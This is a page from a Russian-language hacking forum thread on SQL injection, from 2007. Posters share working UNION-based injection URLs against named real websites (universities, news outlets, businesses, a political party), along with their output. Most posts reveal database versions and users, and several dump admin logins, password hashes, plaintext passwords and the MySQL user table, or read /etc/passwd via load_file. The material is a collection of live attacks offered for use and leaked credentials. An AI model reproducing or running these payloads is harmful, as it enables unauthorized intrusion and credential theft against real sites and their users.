SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 173 of 798
  1. Booblick

    Booblick New Member

    Joined:
    5 Oct 2007
    Messages:
    2
    Likes Received:
    4
    Reputations:
    0
    Люди добрые нужна помощь, как выйцти на данные к базе,
    вот, что смог накавырять....
    http://ont.by/index.php?id_issue=-5+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11/*
     
    #3441 Booblick, 26 Oct 2007
    3 people like this.
  2. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Code:
    http://www.websight.ru/conf/addanswer.php?id=-275+UNION+SELECT+1,2,3,4,concat(version(),0x3a,database(),0x3a,user()),6,7,8,9,10,11,12,13/*
    4.0.27-max-log:websight:[email protected]

    P.S
    Народ не подскажите где можно скачать словарь с самыми распространенными именами таблиц и полей? с меня ++
     
    #3442 Iceangel_, 27 Oct 2007
    3 people like this.
  3. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    код:

    http://farms.byu.edu/display-print.php?table=foreign_lang&id=-64+union+select+1,2,3,4,5,6,load_file(0x2f6574632f706173737764),8,9+from+mysql.user/*
     
    #3443 sasTO, 27 Oct 2007
    1 person likes this.
  4. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    press-c.crimea.ua

    http://press-c.crimea.ua/hotnews/?mode=news&cmd=newsRead&sid=-1+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9,10,11,12,13,1,1,1,1/*

    5.0.45/portcan/evgeni@localhost



    http://press-c.crimea.ua/hotnews/?mode=news&cmd=newsRead&sid=-1+union+select+1,2,3,concat_ws(0x2F,account_lid,account_pwd),5,6,7,8,9,10,11,12,13,1,1,1,1+from+egroupware.egw_accounts+limit+4,1/*

    логин/хеш
    eadmin/5bd452074f51edcc480f575dda1faf21

    --------------------------------------------------------------------

    http://expert.com.ua/index.php?option=news&id=-4'+union+select+1,concat_ws(0x2F,version(),database(),user()),3,4,5,6/*&dir=2

    4.1.22/expert/u_expert@localhost
     
    #3444 ElteRUS, 27 Oct 2007
  5. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    http://spa.american.edu/pages.php?ID=-3/**/union/**/select/**/1,2,3,cast(concat_ws(0x3a,version(),user(),database())+as+binary),5+--+


    4.1.13a-nt:spauser@localhost:spa
     
    #3445 sasTO, 27 Oct 2007
    1 person likes this.
  6. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    Code:
    http://www.freefromcorporateamerica.com/archives.php?id=-1+union+select+1,aes_decrypt(aes_encrypt(version(),0x71),0x71),3,4,5,6/*
    4.1.14-Debian_5-log
    jbrink_realty2@localhost:4.1.22-standard:jbrink_realestate
    HTML:
    http://www.freechineselessons.com/lesson.php?id=-1+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8/*
    guitar8_paul2@localhost:4.1.22-standard:guitar8_freechineselessons
    Code:
    http://www.turkprogram.com/indir.php?id=-1+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6/*
    tpusr@localhost:5.0.27-community-nt:tp_db
    HTML:
    http://www.turkprogram.com/indir.php?id=-1+union+select+1,concat(char(64,64),email,0x3a,username,0x3a,password,char(64,64)),3,4,5,6+from+tbl_uyeler+limit+0,1/*
     
    #3446 Maxyks, 27 Oct 2007
    4 people like this.
  7. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    Код:

    http://www.ncat.edu/press_releases/disp_release.php?ID=-3214+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(user,0x3a,password),17,18+from+mysql.user+limit+0,1/*

    есть еще таблица admins
     
    #3447 sasTO, 27 Oct 2007
    5 people like this.
  8. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.vostok-online.ru/index.php?showNewsDetails=1&newsId=-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(user(),0x71),0x71),3,4,5,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71),AES_DECRYPT(AES_ENCRYPT(database(),0x71),0x71)/*

    4.1.11-Debian_4sarge7-log/disketka_vostok/[email protected]

    -------------------------------------------------------------------

    pskov.org.ru

    http://www.pskov.org.ru/?action=show&id=-1+union+select+1,concat_ws(0x2F,version(),database(),user()),3,4,5,6,7,8,9/*

    5.0.44-log/news/infonet@localhost



    http://www.pskov.org.ru/?action=show&id=-1+union+select+1,concat_ws(0x2F,name,uname,passwd),3,4,5,6,7,8,9+from+admin+limit+0,1/*

    имя/логин/пароль не хеш.
    Дмитрий Антонюк/master/newsbase и др.
     
    #3448 ElteRUS, 28 Oct 2007
    2 people like this.
  9. -MoLoToK-

    -MoLoToK- Elder - Старейшина

    Joined:
    4 Oct 2007
    Messages:
    30
    Likes Received:
    23
    Reputations:
    3
    Code:
    http://www.psychasoc.com/print_news.php?ID=-1+union+select+version(),2,3,4,user()/*
    4.0.27-log/[email protected]/psychasoc

    Code:
    http://www.vineargenti.com/eng/print_news.php?id=-1+union+select+1,2,3,version(),5,6,7,8,9/*
    user: oc/o@/giul - 5
    version: ta/3-/4.1. - 5
     
    #3449 -MoLoToK-, 28 Oct 2007
    Last edited: 28 Oct 2007
    1 person likes this.
  10. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    ohranalist.ru

    http://www.ohranalist.ru/index.php?page=news&id=-1+union+select+1,concat_ws(0x2F,version(),database(),user()),3,4/*

    5.0.41-log/ohranalist/[email protected]


    http://www.ohranalist.ru/index.php?page=news&id=-1+union+select+1,concat_ws(0x2F,login,password),3,4+from+ohranalist_admin+limit+0,1/*

    логин/хеш



    http://www.ohranalist.ru/index.php?page=news&id=-1+union+select+1,concat_ws(0x3a,id,ip),3,4+from+ohranalist_hackers+limit+0,1/*

    :D :D на момент написания поста таблица пуста ))



    http://www.ohranalist.ru/index.php?page=news&id=-1+union+select+1,concat_ws(0x3a,email,md5rev),3,4+from+ohranalist_users+limit+11,1/*

    мейл/хеш еще есть поле name, но оно почему-то одинаковое для всех юзеров
     
    #3450 ElteRUS, 28 Oct 2007
    2 people like this.
  11. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    Code:
    http://www.bedava-indir.net/detay.php?id=-1+union+select+1,2,aes_decrypt(aes_encrypt(version(),0x71),0x71),4,5,6,7,8/*
    4.1.18
    Code:
    http://www.miracyayinlari.com/mirac/detay.php?id=-1+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8,9,10,11,12/*
    miracyay_acakir@localhost:4.1.22-standard-log:miracyay_siparis
    Code:
    http://pings.ws/directory.php?cat=-1+union+select+1,2,3,4,5,6,aes_decrypt(aes_encrypt(version(),0x71),0x71),8,9/*
    4.1.11-Debian_4sarge7
    Code:
    http://pings.ws/directory.php?cat=-1+union+select+1,2,3,4,5,6,aes_decrypt(aes_encrypt(user,0x71),0x71),8,9+from+mysql.user/*
    root debian-sys-maint
    Code:
    http://pings.ws/directory.php?cat=-1+union+select+1,2,3,4,5,6,aes_decrypt(aes_encrypt(password,0x71),0x71),8,9+from+mysql.user/*
    67457e226a1a15bd *4AAE5200D5AA02DC447305889D972AF35603AF6C
     
    #3451 Maxyks, 28 Oct 2007
    3 people like this.
  12. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    yugcont.ru

    http://www.yugcont.ru/news1.php?id=-41+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*

    4.0.27-log/yugcont/[email protected]



    http://www.yugcont.ru/news1.php?id=-41+union+select+1,2,3,login ,5,6,7,8,9+from+admin/*

    логин столбец с паролем не подобрал (

    --------------------------------------------------------------------

    sibagro.ru

    http://www.sibagro.ru/index.php?id_mod=17&id_tmpl=1&id_sect=2&view=article&id_art=-1+union+select+1,2,3,4,5,6,7,8,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71),10,11,12,13,14,15,16,17,18,19/*

    аналогично database() и user()
    5.0.19-standard/sibagro/root@localhost


    http://www.sibagro.ru/index.php?id_mod=17&id_tmpl=1&id_sect=2&view=article&id_art=-1+union+select+1,2,3,4,5,6,7,8,concat(username,0x3a,password,0x3a,email),10,11,12,13,14,15,16,17,18,19+from+usr+limit+0,1/*

    имя/пароль/мейл не хеш.
    root:Ag5rWn
     
    #3452 ElteRUS, 28 Oct 2007
    1 person likes this.
  13. -MoLoToK-

    -MoLoToK- Elder - Старейшина

    Joined:
    4 Oct 2007
    Messages:
    30
    Likes Received:
    23
    Reputations:
    3
    Code:
    http://speleogenesis.info/pubalert/show_details.php?PubID=-1+union+select+1,user(),version(),4,5,6,7,8,9,10,11/*
    4.0.25-standard
    speleo3_datauser@localhost
    таблицы пока не подобрал
    -------------------------------

    Для скули
    Code:
    http://www.psychasoc.com/print_news.php?ID=-1+union+select+version(),2,3,4,user()/*
    таблицы admin
    news
    phorum_users
    users
    столбцы login
    password
     
    #3453 -MoLoToK-, 29 Oct 2007
    Last edited: 29 Oct 2007
    1 person likes this.
  14. Tyc00n

    Tyc00n Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    30
    Likes Received:
    25
    Reputations:
    -1
    Для любителей Comedy Club

    Code:
    http://rucomedy.com/comments.php?showid=1&serie='
     
    #3454 Tyc00n, 29 Oct 2007
  15. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.i-b-m.ru/news.php?act=news_by_id&news_id=-1+union+select+1,2,3,4,5,concat_ws(0x2F,version(),database(),user()),7/*

    4.1.22/site_i-b-m_v2/ibm@localhost

    --------------------------------------------------------------

    http://articles.astrakhan.info/?show=-1+union+select+1,2,concat_ws(0x2F,version(),database(),user()),4,5,6,7,8/*

    4.0.25/wwwastrakhanlggr/[email protected]

    --------------------------------------------------------------

    http://www.e-concrete.ru/?p=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24

    а тут что-то непонятное... вроде скуля есть, но .. посмотрите кому интерстно что это за фигня
     
    #3455 ElteRUS, 29 Oct 2007
    1 person likes this.
  16. Heavy Metal

    Heavy Metal Member

    Joined:
    16 Sep 2007
    Messages:
    19
    Likes Received:
    27
    Reputations:
    7
    Code:
    http://www.mydebut.ru/pubs/show.phtml?id=-1+union+select+1,2,3,load_file(0x2f)
http://www.mydebut.ru/pubs/show.phtml?id=-1+union+select+1,2,3,load_file(0x2f6574632F706173737764)
http://www.mydebut.ru/pubs/show.phtml?id=-1+union+select+1,2,concat_ws(0x3a,user,password),3+from+mysql.user+limit+1,2
http://www.mydebut.ru/pubs/show.phtml?id=-1+union+select+1,2,concat_ws(0x3a,id,login,pass,fUll_name),4+from+real.admins+limit+0,1
http://www.mydebut.ru/pubs/show.phtml?id=-1+union+select+1,2,concat_ws(0x3a,username,user_password),4+from+lipskerov.phpbb_users+limit+1,1/*lipskerov.ru
    http://domainsdb.net/217.16.18.212
     
    #3456 Heavy Metal, 29 Oct 2007
    3 people like this.
  17. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    www.pp-pss.ru - Партия Социальной Справедливости
    Code:
    http://www.pp-pss.ru/main.php?ID=388072&ar2=50&ar3=-1+union+select+concat_ws(0x3a,version(),database(),user())/*
    4.0.27-log:naslDB:[email protected]
    До таблиц так и не докапался (будем работать!)
    www.tour-m.ru - Компания "MT event group" Санкт-Петербург специализируется на обслуживании корпоративных клиентов и частных лиц (очень видные клиенты!)
    Code:
    http://www.tour-m.ru/about/news.php?id=-1+union+select+1,2,3,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),5,6/*
    4.1.10a-standard-log:tourmru_mt:tourmru_mt@localhost
    Доступ к users походу закрыт...
     
    #3457 fRg, 29 Oct 2007
    3 people like this.
  18. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Странную инъекцию сегодня нашел...
    http://www.superseeds.com/products.php?cat=27'+union+select+1,2/*
    Что в таких случаях надо делать?
     
    #3458 Iceangel_, 29 Oct 2007
    3 people like this.
  19. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://opel.avto-city.ru/catalog.php?id=-3+union+select+concat(user(),0x3a,version(),0x3a,database(),0x3a,curdate(),0x3a,now()),2,3,4,5,6,7/*
    Вывод

    host22931@localhost//4.0.27-log//host22931//2007-10-29// 17:52:53
     
    #3459 K1nD[e]R, 29 Oct 2007
    1 person likes this.
  20. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://www.ascon.ru/order.php?id=-1+union+select+0,1,concat_ws(char(58),ID_MEMBER,memberName,passwd,emailAddress),3,4+from+forum.smf_members+limit+0,1/*
     
    #3460 K1nD[e]R, 29 Oct 2007
    1 person likes this.
(You must log in or sign up to post here.)
Page 173 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.